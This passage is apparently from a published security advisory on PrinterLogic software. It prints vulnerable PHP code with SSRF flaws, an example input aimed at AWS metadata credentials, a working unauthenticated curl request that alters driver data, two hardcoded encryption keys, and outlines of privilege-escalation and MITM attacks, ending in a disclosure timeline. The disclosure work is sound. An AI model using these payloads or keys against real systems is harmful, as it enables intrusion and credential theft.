 <span style="color: #666666">81</span>                 <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">error = &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$error</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>;
 <span style="color: #666666">82</span>                 Log<span style="color: #666666">::</span><span style="color: #7D9029">error</span>(<span style="color: #BA2121">&#39;hp_soap_helper error: &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$error</span>);
 <span style="color: #666666">83</span>             }
 <span style="color: #666666">84</span>                         <span style="color: #008000">curl_close</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">85</span>                 } <span style="color: #008000; font-weight: bold">catch</span> (Exception <span style="color: #19177C">$ex</span>) {
 <span style="color: #666666">86</span>                         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">Fail = &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$ex</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>();
 <span style="color: #666666">87</span>             Log<span style="color: #666666">::</span><span style="color: #7D9029">error</span>(<span style="color: #BA2121">&#39;hp_soap_helper exception: &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$ex</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>());
 <span style="color: #666666">88</span>                 }
 <span style="color: #666666">89</span>                 <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$response</span>;
 <span style="color: #666666">90</span>         }   
</pre></div>

<p><a id="va-ssrf-07"></a></p>
<h3>Details - 2 SSRF vulnerabilities in /var/www/app/console_release/hp/badgeSetup.php</h3>
<p>The first SSRF is located on line 96. The <code>$IP_ADDR</code> corresponds to the attacker-controlled hostname of the remote printer. For example, by defining <code>169.254.169.254/latest/meta-data/iam/security-credentials/?</code>, the resulting URL will be: <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/?/DevMgmt/DiscoveryTree.xml</code> corresponding to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials</code> used by AWS to display security credentials.</p>
<p>The second SSRF is located on line 219 using the insecure function <code>processCurl()</code> with the answer being printed on line 224:</p>
<p>Content of <code>/var/www/app/console_release/hp/badgeSetup.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">96</span>         <span style="color: #19177C">$file</span> <span style="color: #666666">=</span> <span style="color: #666666">@</span><span style="color: #008000">file_get_contents</span>( <span style="color: #19177C">$h_tag</span> <span style="color: #666666">.</span> <span style="color: #19177C">$IP_ADDR</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/DevMgmt/DiscoveryTree.xml&quot;</span>, <span style="color: #008000; font-weight: bold">false</span>, <span style="color: #008000">stream_context_create</span>( <span style="color: #19177C">$arrContextOperations</span> )); <span style="color: #408080; font-style: italic">// ## SSRF #1</span>
 <span style="color: #666666">97</span>         <span style="color: #19177C">$doc</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> DOMDocument();
 <span style="color: #666666">98</span> 
 <span style="color: #666666">99</span>         <span style="color: #008000; font-weight: bold">if</span>( <span style="color: #19177C">$file</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">&quot;&quot;</span> )
<span style="color: #666666">100</span>         {
<span style="color: #666666">101</span>                 <span style="color: #19177C">$doc</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">loadXML</span>( <span style="color: #19177C">$file</span> );
<span style="color: #666666">102</span>                 <span style="color: #19177C">$xpath</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> DOMXPath( <span style="color: #19177C">$doc</span> );
<span style="color: #666666">103</span>                 <span style="color: #19177C">$nodes</span> <span style="color: #666666">=</span> <span style="color: #19177C">$doc</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getElementsByTagName</span>(<span style="color: #BA2121">&#39;*&#39;</span>);
<span style="color: #666666">104</span>                 <span style="color: #19177C">$features</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>();                                                                                                                                                            
<span style="color: #666666">105</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">219</span> <span style="color: #19177C">$response</span> <span style="color: #666666">=</span>  processCurl( <span style="color: #19177C">$XRX_SCHEMA</span>, <span style="color: #19177C">$XRX_TO</span>, <span style="color: #19177C">$XRX_BODY</span>, <span style="color: #19177C">$sendUrl</span>, <span style="color: #008000; font-weight: bold">false</span>, <span style="color: #19177C">$XRX_USERNAME</span>, <span style="color: #19177C">$XRX_PASSWORD</span> );                                   <span style="color: #408080; font-style: italic">// # SSRF #2</span>
<span style="color: #666666">220</span> <span style="color: #008000; font-weight: bold">if</span>( GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$CONSOLE_RELEASE_TESTING</span> <span style="color: #666666">==</span> <span style="color: #666666">1</span> )
<span style="color: #666666">221</span> {               
<span style="color: #666666">222</span>         \Storage<span style="color: #666666">::</span><span style="color: #7D9029">disk</span>(<span style="color: #BA2121">&#39;cache&#39;</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">append</span>(<span style="color: #BA2121">&quot;hp/badge_setup_1.txt&quot;</span>, <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\r\n\r\n</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$response</span> );
<span style="color: #666666">223</span> }               
<span style="color: #666666">224</span> <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\n\n</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$response</span>;    
</pre></div>

<p>A similar vulnerability is present in several files (e.g. <code>console_release/hp/log_off_single_sign_on.php:37</code>, <code>./console_release/hp/install_popup_load.php:137</code>, ...).</p>
<p><a id="va-ssrf-08"></a></p>
<h3>Details - 2 blind SSRF vulnerabilities in /var/www/app/console_release/lexmark/dellCheck.php</h3>
<p>Lines 20 and 24: the <code>$printer_vo-&gt;str_host_address</code> variable is controlled by an attacker and is used without any filtering:</p>
<p>Content of <code>/var/www/app/console_release/lexmark/dellCheck.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> <span style="color: #008000; font-weight: bold">require_once</span>( <span style="color: #BA2121">&quot;global.php&quot;</span> );
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">require_once</span>(ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">&quot;lib/dao/dbopen.php&quot;</span>);
  <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">require_once</span>( ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;lib/dao/printer_dao.php&quot;</span> );
  <span style="color: #666666">5</span> 
  <span style="color: #666666">6</span> <span style="color: #19177C">$printer_dao</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> printer_dao();
  <span style="color: #666666">7</span> <span style="color: #19177C">$printer_vo</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> printer_vo();
  <span style="color: #666666">8</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span> <span style="color: #666666">=</span> requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> );
  <span style="color: #666666">9</span> <span style="color: #19177C">$printer_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">load</span>( <span style="color: #19177C">$printer_vo</span> );
 <span style="color: #666666">10</span> 
 <span style="color: #666666">11</span> <span style="color: #19177C">$url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/cgi-bin/direct/printer/prtappse/semenu?page=bundles&quot;</span>;
 <span style="color: #666666">12</span> <span style="color: #19177C">$url_headers</span> <span style="color: #666666">=</span> <span style="color: #666666">@</span><span style="color: #008000">get_headers</span>(<span style="color: #19177C">$url</span>);
 <span style="color: #666666">13</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #19177C">$url_headers</span> <span style="color: #666666">||</span> <span style="color: #008000">strpos</span>(<span style="color: #19177C">$url_headers</span>[<span style="color: #666666">0</span>], <span style="color: #BA2121">&#39;200&#39;</span>) <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">false</span>)
 <span style="color: #666666">14</span> {
 <span style="color: #666666">15</span>     <span style="color: #19177C">$new_url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/esf/prtappse/semenu?page=bundles&quot;</span>;
 <span style="color: #666666">16</span>     <span style="color: #19177C">$new_url_headers</span> <span style="color: #666666">=</span> <span style="color: #666666">@</span><span style="color: #008000">get_headers</span>(<span style="color: #19177C">$new_url</span>);
 <span style="color: #666666">17</span>     <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #19177C">$new_url_headers</span> <span style="color: #666666">||</span> <span style="color: #008000">strpos</span>(<span style="color: #19177C">$new_url_headers</span>[<span style="color: #666666">0</span>], <span style="color: #BA2121">&#39;200&#39;</span>) <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">false</span>)
 <span style="color: #666666">18</span>         <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">19</span>     <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">20</span>         <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$new_url</span>); <span style="color: #408080; font-style: italic">// SSRF #1</span>
 <span style="color: #666666">21</span> }
 <span style="color: #666666">22</span> <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">23</span> {
 <span style="color: #666666">24</span>     <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$url</span>);         <span style="color: #408080; font-style: italic">// SSRF #2</span>
 <span style="color: #666666">25</span> }
 <span style="color: #666666">26</span> 
 <span style="color: #666666">27</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">mb_stripos</span>(<span style="color: #19177C">$contents</span>, <span style="color: #BA2121">&#39;Bundle ID&#39;</span>)){
 <span style="color: #666666">28</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&#39;Lexmark&#39;</span>;
 <span style="color: #666666">29</span> }   
</pre></div>

<p>An attacker with admin privileges in a tenant instance can likely compromise the SaaS infrastructure by reaching AWS metadata services and retrieve credentials corresponding to the cloud infrastructure.</p>
<p>Only an incomplete analysis was done due to the quantity of code.</p>
<p>It is recommended not to use the SaaS version and to not host the VA version in the cloud.</p>
<p><a id="va-insecure-use-file_get_contents"></a></p>
<h2>Details - Insecure use of file_get_contents() allowing to bypass security checks</h2>
<p>It was observed that the <code>console_release</code> directory contains PHP webpages with insecure code containing SSRF vulnerabilities.</p>
<p>The <code>file_get_contents()</code> function is used to retrieve http/https content. Unfortunately, this function will follow any redirection and is completely insecure when the remote server is controlled by an attacker.</p>
<p>For example:</p>
<pre><code>kali% cat /var/www/html/redirect.php
&lt;?php
header("Location: http://www.google.com/");
?&gt;
</code></pre>
<p>When this file is retrieved over HTTP, the result from the <code>file_get_contents()</code> function will contain the content of the www.google.com webpage. The <code>file_get_contents()</code> function followed transparently the redirection to www.google.com:</p>
<pre><code>kali% cat 1.php
&lt;?php

$url = "http://10.105.0.235/redirect.php";
$contents = file_get_contents($url); 
print $contents;

kali% php 1.php | head -n 10 | less
&lt;!doctype html&gt;&lt;html itemscope="" itemtype="http://schema.org/WebPage" lang="en-PH"&gt;&lt;head&gt;&lt;meta content="text/html; charset=UTF-8" http-equiv="Content-Type"&gt;&lt;meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"&gt;&lt;title&gt;Google&lt;/title&gt;&lt;script nonce="Y_AX2yiBXdblaOhbrR-Fig"&gt;(function(){var _g={kEI:'2DWdZfa3BpqWvr0P2bSamA4
[CONTENT-OF-GOOGLE.COM-WEBSITE]
</code></pre>
<p>An attacker with admin privileges can specify a malicious printer hostname corresponding to an attacker-controlled webserver/website. The PHP code implemented in PrinterLogic running in the VA version and in AWS in the SaaS version will follow the 301 redirection to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials</code> used by AWS to display security credentials.</p>
<p>There are 272 calls to the <code>file_get_contents()</code> function in the <code>printerlogic/pi</code> Docker instance:</p>
<pre><code>root@printerlogic:/home/debug# docker ps|grep printerlogic/pi
799ce8d8de5c   printerlogic/pi:5.0.8085-p2               "/var/www/app/.docke"   2 minutes ago    Up 2 minutes              80/tcp                                                                            printercloud_worker-pi-reports.1.gdbu4ya992n9s33h6c3cf4qn0
root@printerlogic:/home/debug# docker exec -it 799ce8d8de5c bash
root@799ce8d8de5c:/var/www/app# rgrep file_get_content . | wc -l
272
</code></pre>
<p>Some of these calls are insecure as shown previously.</p>
<p>An attacker with admin privileges in a tenant instance can likely compromise the SaaS infrastructure by reaching metadata services and retrieve credentials corresponding to the cloud infrastructure.</p>
<p>Only an incomplete analysis was done due to the quantity of code.</p>
<p>It is recommended not to use the SaaS version and to not host the VA version in the cloud.</p>
<p><a id="va-hardcoded-key"></a></p>
<h2>Details - Hardcoded keys used to encrypt information - insecure encryption</h2>
<p>It was observed that 2 hardcoded private keys can be found in the VA solution. These hardcoded keys are used to securely encrypt/decrypt data in the:</p>
<ul>
<li>SaaS version;</li>
<li>VA version.</li>
</ul>
<p>Since these keys are hardcoded, the encryption mechanism is insecure because these private keys are known.</p>
<p>These keys can be found in several Docker instances:</p>
<ul>
<li>printerlogic/pi</li>
<li>printerlogic/printer-admin-api</li>
</ul>
<p>Hardcoded keys inside the printercloud/pi Docker instance</p>
<pre>
printerlogic# docker exec -it 45901b1a9528 ls -la /var/www/app/config/    
total 256 
drwxrwxr-x 2 www-data www-data   4096 Oct 24 18:44 .
drwxr-xr-x 1 root     root       4096 Nov  7 22:25 ..
-rw-rw-r-- 1 www-data www-data 215556 Oct 24 18:43 cacert.pem
-rw-rw-r-- 1 www-data www-data   1122 Oct 24 18:43 driver-blacklist.yaml
<font color=red>-rw-rw-r-- 1 www-data www-data    243 Oct 24 18:43 keyfile.ppk.dev
-rw-rw-r-- 1 www-data www-data    128 Oct 24 18:43 keyfile.saasid.ppk.dev</font>
-rw-rw-r-- 1 www-data www-data    599 Oct 24 18:43 _ldapoverrides.php
-rw-rw-r-- 1 www-data www-data    152 Oct 24 18:43 opcache-blacklist.txt
-rw-rw-r-- 1 www-data www-data   1496 Oct 24 18:44 settings.php
-rw-rw-r-- 1 www-data www-data   1496 Oct 24 18:43 settings.php.local
-rw-rw-r-- 1 www-data www-data   1612 Oct 24 18:43 snmp_defaults.php
printerlogic# docker exec -it 45901b1a9528 cat /var/www/app/config/keyfile.ppk.dev
<font color=red>AAAAQQCYYU9zyn9V2Dem6kIA6SU9dZnqiZDM63WcP3ZDwnDY7nXwwlohdh6fE6jb
SRJ+DS2NEO+/9Idz4OW81fbTFxM9AAAAIQD4M/r+iMrKSA30cU2HwS7nerDpd0Ma
svm5b9NJVS1WuQAAACEAsDerrSCtAViPXFfHRcof1md1y68GjW94gXgGnkC7ntcA
AAAgaDv/Z7gPchc/hFUB4nI5NZ/QBqbom4Y7TBrbkxRLSuo=</font>
printerlogic# docker exec -it 45901b1a9528 cat /var/www/app/config/keyfile.saasid.ppk.dev
<font color=red>QypO2ShAW3V=pHtiBI8C1Lyj0/Unchb37JDqG8ZfvNX9vOMdL3QtXgr+XlvuVKN1Xq8TmBjahHLrLG+JbPlLqkEuuCsgFkt0fr3KG5u4j5=t2FZAlRyKhsLwmMDJUY3t</font>
</pre>

<p>In the SaaS version, the <code>/var/www/app/config/keyfile.saasid.ppk.dev</code> file will be used to encrypt/decrypt information.</p>
<p>The following <code>getEncryptedExternalId()</code> and <code>getDecryptedExternalId()</code> methods will use the <code>keyfile.saasid.ppk</code> key by default.</p>
<p>Content of <code>/var/www/app/app/Traits/SaasIdEncryption.php</code> inside the <code>printercloud/pi</code> Docker instance:</p>
<pre>
[...]
  3 namespace PrinterLogic\Traits;
  4 
  5 use Log;
  6 use Exception;
  7 use Throwable;
  8 
  9 /**
 10  * Knows how to encrypt and decrypt the SaasId (ExternalId). We use the
 11  * encrypted SaasId in some API calls to the Integrations Team.
 12  */
 13 trait SaasIdEncryption
 14 {
 15     use EncryptionFunctions;
 16 
 17     /**
 18      * Gets a sales force id and encrypts it for passing to the PrinterCloud Support site from
 19      * the My Account menu.
 20      *
 21      * @param string $external_id External SaasId that needs to be encrypted
 22      *
 23      * @return string
 24      */
 25     public function getEncryptedExternalId($external_id = null)
 26     {
 27         if (is_null($external_id)) {
 28             $external_id = $this->external_id;
 29         }
 30 
 31         try {
<font color=red> 32             $key = $this->getKey();</font>
 33             $iv = $this->createIv($key);
 34             $encryptedId = base64_encode(openssl_encrypt($external_id, 'AES-256-CBC', <font color=red>$key</font>, false, $iv));
 35         } catch (Throwable $e) {
 36             Log::error($e->getMessage());
 37             return '-';
 38         }
 39 
 40         Log::debug('Encrypted ID: `' . $encryptedId . '`');
 41 
 42         return $encryptedId;
 43     }
 44 
 45     /**
 46      * Returns Decrypted Id
 47      *
 48      * @param string $encrypted_id External SaasId that needs to be decrypted
 49      *
 50      * @return string
 51      */
 52     public function getDecryptedExternalId($encrypted_id = null)
 53     {
 54         if (is_null($encrypted_id)) {
 55             $encrypted_id = $this->external_id;
 56         }
 57 
 58         try {
<font color=red> 59             $key = $this->getKey();</font>
 60             $iv = $this->createIv($key);
 61             $encryptedId = openssl_decrypt($encrypted_id, 'AES-256-CBC', <font color=red>$key</font>, false, $iv);
 62         } catch (Throwable $e) {
 63             Log::error($e->getMessage());
 64             return '-';
 65         }
 66 
 67         Log::debug('Decrypted ID: `' . $encryptedId . '`');
 68 
 69         return $encryptedId;
 70     }
[...]
 95     /**
 96      * Returns a combined key from the supplied salt and given keyfile
 97      *
 98      * @param string $keyfile Path to the keyfile
 99      *
100      * @throws Exception
101      *
102      * @return string
103      */
<font color=red>104     public function getKey($keyfile = null)</font>
105     {
106         $KEYFILE_MIN_LEN = 128; //1024-bits
107 
108         /* Default */
109         if (empty($keyfile)) {
110             /*
111              * The user didn't specify one, so we try to find our default.
112              * If we can't find that, fallback to the dev version.
113              */
114             if (!defined('ABSPATH')) {
115                 define('ABSPATH', base_path() . '/');
116             }
117 
<font color=red>118             $keyfile = ABSPATH . 'config/keyfile.saasid.ppk'; //Default if we don't have one defined</font>
119 
120             if (!file_exists($keyfile)) {
121                 //fall back to a dev version
122                 $keyfile = $keyfile . '.dev';
123             }
124         }
</pre>

<p>The encryption mechanism is insecure. An attacker can decrypt sensitive information.</p>
<p><a id="va-edit-driver-packages-without-auth"></a></p>
<h2>Details - Unauthenticated webpage allowing to edit driver packages</h2>
<p>It was observed that the <code>/var/www/app/lib/dao/driver_version_update.php</code> webpage is reachable without authentication. This webpage allows an attacker to:</p>
<ul>
<li>List driver packages;</li>
<li>Get information regarding a specific driver package;</li>
<li>Change information on a specific driver package.</li>
</ul>
<p>The PHP code will update the information stored in the MySQL server when the driver package is edited (lines 92 to 110).</p>
<p>Content of <code>/var/www/app/lib/dao/driver_version_update.php</code>:</p>
<pre>
[...]
 12         header('Content-Transfer-Encoding: binary');
 13     header('Content-Type: application/octet-stream');
 14 
 15   $nologin=true;
 16 require_once("global.php");
 17 require_once(ABSPATH."lib/dao/dbopen.php");
 18 
 19       $package_needs_updating="(package_type = 'NORMAL'
 20 AND (
 21 (
 22 driver_version = ''
 23 )
 24 OR (
 25 driver_version = '0.0.0.1'
 26 )
 27 )
 28 AND (
 29 (
 30 driver_date = ''
 31 )
 32 OR (
 33 driver_date = '01/02/1980'
 34 )
 35 OR (
 36 driver_date = '01/01/1980'
 37 )
 38 ))";
 39 
<font color=red> 40   $cmd=requeststr("command","");
 41   if($cmd=="getlist") {</font>
 42         $da=new data_access();
 43         if(!$da->qry("SELECT ppp_driver_packages.id,inf_file, model_name, package_size, (
 44 SELECT sum( if(os_arch=32,1,0) ) 
 45 FROM ppp_drivers_os_support
 46 JOIN ppp_oses ON ( ppp_oses.id = ppp_drivers_os_support.os_id ) 
 47 WHERE driver_id = ppp_drivers.id
 48 ) AS x32, (
 49 
 50 SELECT sum( if(os_arch=64,1,0) ) 
 51 FROM ppp_drivers_os_support
 52 JOIN ppp_oses ON ( ppp_oses.id = ppp_drivers_os_support.os_id ) 
 53 WHERE driver_id = ppp_drivers.id
 54 ) AS x64
 55 FROM `ppp_driver_packages` 
 56 JOIN ppp_drivers ON ( driver_package_id = ppp_driver_packages.id ) 
 57 WHERE $package_needs_updating ")) {
 58           echo "Unable to retrieve update list: ".$da->last_error;
 59           return;
 60         }
 61     function q($s) {
 62         return '"'.str_replace('"','""',$s).'"';
 63     }
 64         $LE="\r\n";
 65         $rec=array();
 66         echo $da->result_count().$LE;
 67         while($da->next_row($rec)) {
 68           echo q($rec['id']).",".q($rec['inf_file']).",".q($rec['model_name']).",".q($rec['package_size']).",".q($rec['x32']).",".q($rec['x64']).$LE;
 69         }
 70 
<font color=red> 71   } else if($cmd=="getdriver") {</font>
 72 
 73         require_once(ABSPATH."lib/dao/driver_package_dao.php");
 74     $pdao=new driver_package_dao();
 75     $vo=new driver_package_vo();
 76     //we use this query here to avoid the need for the session variable and to add our where clause to make these routines generally do nothing and make no security hole
 77     $vo->id=requestint("package",-1);
 78         if(!$pdao->qry("select * from ppp_driver_packages left join ppp_driver_package_fragments on (ppp_driver_packages.id=ppp_driver_package_fragments.driver_package_id) where (id=$vo->id) and $package_need    s_updating order by driver_package_id,fragment"))
 79         {
 80                 echo $pdao->last_error;
 81                 return false;
 82         }
 83     if(!$pdao->next($vo)) {
 84         echo $pdao->last_error;
 85         return false;
 86     }
 87     header('Content-Length: '.$vo->int_package_size);
 88     flush();
 89         ini_set('max_execution_time','2400');
 90     $pdao->echo_blob($vo);
 91     return;
<font color=red> 92   } else if($cmd=="setversion") {
 93         $package_id=requestint("package",-1);
 94         $dd=requeststr("driverdate","01/01/1980");
 95         $dv=requeststr("driverversion","0.0.0.1");
 96         $pp=requeststr("printprocessor","");</font>
 97         $da=new data_access();
 98         $da->allow_write();
 99         $da->audit_handled();
100         if(!$da->qry("update ppp_driver_packages set ".
101            "driver_date=".$da->qescape($dd).",".
102        "driver_version=".$da->qescape($dv).",".
103            "print_processor=".$da->qescape($pp)." where                                                                                                                                         
104                 (id=$package_id) and $package_needs_updating                                                                                                                                    
105            ")) {                                                                                                                                                                                
106                         echo "Unable to set package data: ".$da->last_error;
107                         return;
108            }
109         if($da->affected_rows()==0) { echo "The driver could not be found or has already been updated."; return; }
110         echo $da->affected_rows();
111 
112   } else { echo "Unknown Command"; }
113 
114 ?>
</pre>

<p>Exemple of a request:</p>
<pre><code>kali% curl -v 'http://10.105.0.60/lib/dao/driver_version_update.php?command=setversion&amp;driverdate=01/01/2020&amp;driverversion=1.1.1.1&amp;package=3'
*   Trying 10.105.0.60:80...
* Connected to 10.105.0.60 (10.105.0.60) port 80
&gt; GET /lib/dao/driver_version_update.php?command=setversion&amp;driverdate=01/01/2020&amp;driverversion=1.1.1.1&amp;package=3 HTTP/1.1
&gt; Host: 10.105.0.60
&gt; User-Agent: curl/8.5.0
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Cache-Control: no-store, no-cache, must-revalidate
&lt; Cache-Control: post-check=0, pre-check=0
&lt; Content-Security-Policy: frame-ancestors 'self'
&lt; Content-Transfer-Encoding: binary
&lt; Content-Type: application/octet-stream
&lt; Date: Wed, 10 Jan 2024 12:00:38 GMT
&lt; Last-Modified: Wed, 10 Jan 2024 12:00:38 GMT
&lt; Pragma: no-cache
&lt; Server: nginx
&lt; X-Content-Type-Options: nosniff
&lt; X-Frame-Options: SAMEORIGIN
&lt; X-Xss-Protection: 1; mode=block
&lt; Transfer-Encoding: chunked
&lt; 
* Connection #0 to host 10.105.0.60 left intact
The driver could not be found or has already been updated.
</code></pre>
<p>An attacker can change information about any driver package.</p>
<h2>Vulnerabilities affecting the Windows client</h2>
<h3>Identification of the solution</h3>
<p>The version of the audited Windows PrinterLogic client is 21.1.0.658.</p>
<p><a id="win-lpe-03"></a></p>
<h2>Details - Local Privilege Escalation</h2>
<p>It was observed that the installation of drivers is done insecurely by storing temporary files as <code>NT AUTHORITY\SYSTEM</code> inside the <code>C:\Windows\Temp\data</code> directory.</p>
<p><code>C:\Windows\Temp\data</code> is a temporary directory that can be controlled by any user without admin privileges. Such directory cannot be trusted to store files that will be used by a program running as <code>NT AUTHORITY\SYSTEM</code>. Because of the insecure permissions, an attacker can replace any file with malicious ones in this directory or create a junction point from <code>C:\Windows\Temp\data</code> to anywhere in the file system.</p>
<p>Some files are created in the <code>C:\Windows\Temp\data</code> directory, as <code>NT AUTHORITY\SYSTEM</code> during the installation of drivers:</p>
<p>Windows Events
<img alt="" src="images/2025-vasion-report-2-win-lpe-01.png" /></p>
<p><a href="images/2025-vasion-report-2-win-lpe-01-full.png">Click here for full image</a></p>
<p>The package_8.dat file is blindly trusted while it can be replaced by a local attacker:</p>
<p>Windows Events
<img alt="" src="images/2025-vasion-report-2-win-lpe-02.png" /></p>
<p>Windows Events
<img alt="" src="images/2025-vasion-report-2-win-lpe-03.png" /></p>
<p>This file comes from an insecure rename of <code>C:\Windows\Temp\data\package_8.dat.cpytmp</code>. The <code>package_8.dat.cpytmp</code> file is downloaded as <code>NT AUTHORITY\SYSTEM</code> from the SaaS instance while installing a new driver.</p>
<p>Windows Events
<img alt="" src="images/2025-vasion-report-2-win-lpe-04.png" /></p>
<p>Since the directory <code>C:\Windows\Temp\data</code> is controlled by any local user, an attacker can replace <code>package_8.dat.cpytmp</code> and <code>package_8.dat</code> with malicious files during the installation process.</p>
<p>These vulnerabilities are surprising because, after the creation of these files, the directory <code>C:\Windows\PPP_TEMP</code> is securely used to install drivers.</p>
<p>An attacker can get Local Privilege Escalation.</p>
<p><a id="win-lpe-04"></a></p>
<h2>Details - Insecure option allowing an attacker to get Remote Code Execution against any client</h2>
<p>It was observed that the installation of the Windows PrinterLogic client inside organizations may enable an insecure option that will disable any SSL verification.</p>
<p>The Windows Registry Hive option <code>IgnoreCertificateFailures</code> can be set to <code>1</code> to ignore SSL verification. Since the access to <code>HKLM\SOFTWARE\PrinterLogic\PrinterInstaller\Overrides</code> requires admin privileges, it is more likely that admins will follow the official PrinterLogic documentation to disable SSL warnings.</p>
<p>Registry Hive
<img alt="" src="images/2025-vasion-report-2-ssl-01.png" /></p>
<p>From my experience, it appears that customers will follow the official PrinterLogic documentation at <a href="https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate">https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate</a> and <a href="https://kb.printerlogic.com/s/article/Certificate-errors-in-client-log-but-no-certificate-errors-in-browser">https://kb.printerlogic.com/s/article/Certificate-errors-in-client-log-but-no-certificate-errors-in-browser</a>.</p>
<p>This documentation recommends either to:</p>
<ul>
<li>Disable HTTPs and use HTTP instead; or</li>
<li>Disable any SSL verification - this insecure configuration allows an attacker to MITM the traffic and inject malicious drivers to remotely take over Windows machines using PrinterLogic.</li>
</ul>
<p><a href="https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate">https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate</a>
<img alt="" src="images/2025-vasion-report-2-ssl-02.png" /></p>
<p>An attacker can get Remote Code Execution against Windows machines by MITM-ing the HTTPS traffic and injecting malicious drivers.</p>
<p>A local attacker can get Local Privilege Escalation by creating a junction point and injecting a DLL in the HTTPS traffic of the Windows client. The resulting DLL will be created anywhere in the filesystem as NT AUTHORITY\SYSTEM.</p>
<p>The official PrinterLogic documentation recommends disabling security controls.</p>
<p>It is recommended to use secure defaults, as recommended by the NSA: <a href="https://www.cisa.gov/sites/default/files/2023-10/Shifting-the-Balance-of-Cybersecurity-Risk-Principles-and-Approaches-for-Secure-by-Design-Software.pdf">https://www.cisa.gov/sites/default/files/2023-10/Shifting-the-Balance-of-Cybersecurity-Risk-Principles-and-Approaches-for-Secure-by-Design-Software.pdf</a>.</p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<p>2021:</p>
<ul>
<li>Nov 2021: Security assessment performed on the PrinterLogic Windows client (a total of only 6 hours were allocated for this security assessment as PrinterLogic was not the main target of the security evaluation).</li>
<li>Dec 2021: Security assessment performed on the PrinterLogic MacOS/Linux client (a total of 3 working days were allocated for this security assessment).</li>
<li>Dec 2021: Reports sent to Vasion.</li>
</ul>
<p>2022:</p>
<ul>
<li>Jan 21, 2022: Zoom meeting with Vasion.</li>
<li>Feb 2022: Received access to a test SaaS instance of PrinterLogic.</li>
